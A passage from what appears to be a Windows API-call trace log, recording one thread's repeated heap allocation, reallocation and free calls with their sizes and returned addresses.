returned 0x0 [0076.211] GetCurrentThreadId () returned 0x9b0 [0076.211] GetLastError () returned 0x0 [0076.211] GetCurrentThreadId () returned 0x9b0 [0076.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84908 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84908 | out: hHeap=0x2ad0000) returned 1 [0076.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84800 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84800 | out: hHeap=0x2ad0000) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84890 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84890 | out: hHeap=0x2ad0000) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847b8 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847b8 | out: hHeap=0x2ad0000) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846f8 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846f8 | out: hHeap=0x2ad0000) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84950 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84950 | out: hHeap=0x2ad0000) returned 1 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849e0 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849e0 | out: hHeap=0x2ad0000) returned 1 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.213] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262f00, Size=0x1) returned 0x33de7f8 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84728 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84728 | out: hHeap=0x2ad0000) returned 1 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84920 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84920 | out: hHeap=0x2ad0000) returned 1 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84818 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.214] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84818, Size=0x20) returned 0x30284e0 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.215] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a19298 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.216] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a19968 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.217] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0f00 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.218] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x325f2f0 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.218] GetCurrentThreadId () returned 0x9b0 [0076.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f2f0 | out: hHeap=0x2ad0000) returned 1 [0076.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70) returned 0x3262c08 [0076.219] GetCurrentThreadId () returned 0x9b0 [0076.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262c08 | out: hHeap=0x2ad0000) returned 1 [0076.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a20 [0076.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183860 [0076.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0076.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84980 [0076.219] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84980, Size=0x20) returned 0x3028558 [0076.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23e) returned 0x2a8dbd0 [0076.219] GetCurrentThreadId () returned 0x9b0 [0076.219] GetLastError () returned 0x0 [0076.219] GetCurrentThreadId () returned 0x9b0 [0076.220] GetLastError () returned 0x0 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.220] GetCurrentThreadId () returned 0x9b0 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85010 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e48 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f68 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cf8 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fb0 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e18 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ed8 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e60 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fc8 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ea8 | out: hHeap=0x2ad0000) returned 1 [0076.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e30 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e90 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84de8 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d70 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f80 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84dd0 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f08 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ef0 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f98 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d10 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fe0 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e78 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d40 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d88 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ec0 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f20 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c850e8 | out: hHeap=0x2ad0000) returned 1 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85298 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85160 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.222] GetCurrentThreadId () returned 0x9b0 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.222] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361d598, Size=0x941) returned 0x34b7df8 [0076.223] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34b7df8, Size=0xf9a) returned 0x34b7df8 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.223] GetCurrentThreadId () returned 0x9b0 [0076.223] GetLastError () returned 0x0 [0076.223] GetLastError () returned 0x0 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.223] GetCurrentThreadId () returned 0x9b0 [0076.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.224] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85160, Size=0x10) returned 0x2c852b0 [0076.224] GetCurrentThreadId () returned 0x9b0 [0076.224] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85298, Size=0x10) returned 0x2c85190 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0076.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.224] GetCurrentThreadId () returned 0x9b0 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85130 [0076.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.224] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c852b0, Size=0x10) returned 0x2c85160 [0076.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c850d0 [0076.225] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85190, Size=0x10) returned 0x2c85220 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.225] GetCurrentThreadId () returned 0x9b0 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 